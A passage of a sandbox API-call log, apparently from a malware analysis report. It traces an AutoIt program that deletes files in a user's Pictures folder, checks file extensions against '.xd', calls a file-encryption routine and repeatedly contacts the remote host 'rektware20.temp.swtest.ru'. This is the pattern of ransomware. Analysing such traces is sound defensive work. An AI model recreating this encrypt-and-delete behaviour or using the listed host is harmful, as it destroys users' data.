lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0060.213] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0060.213] CryptDestroyKey (hKey=0x164c530) returned 1 [0060.213] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0060.213] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0060.213] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0060.213] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0060.213] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0060.214] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0060.214] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0060.214] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0060.214] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0060.214] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0060.214] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0060.214] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0060.214] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0060.214] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0060.214] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.214] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0060.215] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.215] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0060.215] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0060.215] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0060.215] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.215] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0060.215] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0060.215] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.215] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.215] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0060.215] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0060.216] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0060.216] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.216] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0060.216] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0060.216] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0060.216] CryptReleaseContext (hProv=0x17a9f88, dwFlags=0x0) returned 1 [0060.216] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.216] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.216] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0060.217] FreeLibrary (hLibModule=0x74c60000) returned 1 [0060.217] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.217] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.217] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.217] CloseHandle (hObject=0x3bc) returned 1 [0060.222] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.222] CloseHandle (hObject=0x2ac) returned 1 [0060.230] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.230] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0060.230] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\D3XtM3Mukq_NIC1QJJ.gif", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\D3XtM3Mukq_NIC1QJJ.gif", lpFilePart=0x0) returned 0x40 [0060.231] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\D3XtM3Mukq_NIC1QJJ.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\d3xtm3mukq_nic1qjj.gif")) returned 0x20 [0060.231] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\D3XtM3Mukq_NIC1QJJ.gif", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c530 [0060.231] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\D3XtM3Mukq_NIC1QJJ.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\d3xtm3mukq_nic1qjj.gif")) returned 1 [0060.233] FindNextFileW (in: hFindFile=0x164c530, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0060.233] FindClose (in: hFindFile=0x164c530 | out: hFindFile=0x164c530) returned 1 [0060.233] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0060.233] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0060.233] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0060.233] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0060.233] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\LARUM.bmp", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164cb30 [0060.234] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0060.234] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0060.234] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0060.234] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0060.234] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0060.234] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0060.234] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620ec8, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620ec8, lpdwBufferLength=0x130ef8c) returned 1 [0060.234] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0060.234] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0060.234] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0060.243] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0060.243] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0060.243] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0060.243] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629300, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629300*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0060.243] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629180, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629180*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0060.243] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0060.244] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0060.244] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0060.244] CloseHandle (hObject=0x0) returned 0 [0060.244] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\LARUM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.244] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\LARUM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.244] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\LARUM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.244] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\LARUM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.244] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\LARUM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.245] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\LARUM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.245] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\LARUM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.245] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\LARUM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.245] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\LARUM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.245] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\LARUM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.245] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\LARUM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.245] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\LARUM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.245] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Pictures\\Tna4ykb0U1\\LARUM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.245] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Pictures\\Tna4ykb0U1\\LARUM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.245] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Pictures\\Tna4ykb0U1\\LARUM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.245] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Pictures\\Tna4ykb0U1\\LARUM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.245] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Pictures\\Tna4ykb0U1\\LARUM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.245] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Pictures\\Tna4ykb0U1\\LARUM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.245] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Pictures\\Tna4ykb0U1\\LARUM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.245] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Pictures\\Tna4ykb0U1\\LARUM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.245] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Pictures\\Tna4ykb0U1\\LARUM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.245] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Pictures\\Tna4ykb0U1\\LARUM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.246] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Pictures\\Tna4ykb0U1\\LARUM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.246] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ictures\\Tna4ykb0U1\\LARUM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.246] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ctures\\Tna4ykb0U1\\LARUM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.246] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tures\\Tna4ykb0U1\\LARUM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.246] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ures\\Tna4ykb0U1\\LARUM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.246] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="res\\Tna4ykb0U1\\LARUM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.246] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="es\\Tna4ykb0U1\\LARUM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.246] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Tna4ykb0U1\\LARUM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.246] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Tna4ykb0U1\\LARUM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.246] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Tna4ykb0U1\\LARUM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.246] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="na4ykb0U1\\LARUM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.246] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="a4ykb0U1\\LARUM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.246] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="4ykb0U1\\LARUM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.246] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ykb0U1\\LARUM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.246] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="kb0U1\\LARUM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.247] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="b0U1\\LARUM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.247] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="0U1\\LARUM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.247] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="U1\\LARUM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.247] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1\\LARUM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.247] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\LARUM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.247] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LARUM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.247] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ARUM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.247] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RUM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.247] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="UM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.247] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="M.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.247] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0060.247] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.247] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0060.247] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0060.247] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0060.247] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0060.247] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0060.248] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0060.248] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0060.248] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0060.248] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620d60, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620d60, lpdwBufferLength=0x130ee1c) returned 1 [0060.248] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0060.248] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0060.248] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0060.249] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0060.249] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0060.249] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0060.249] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629190, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629190*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0060.249] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16294a0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16294a0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0060.249] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0060.250] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0060.250] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0060.250] CloseHandle (hObject=0x0) returned 0 [0060.250] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.250] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\LARUM.bmp", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0060.250] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0060.250] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.250] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0060.250] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.251] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0060.251] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0060.251] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.251] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0060.251] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.251] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.251] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0060.251] 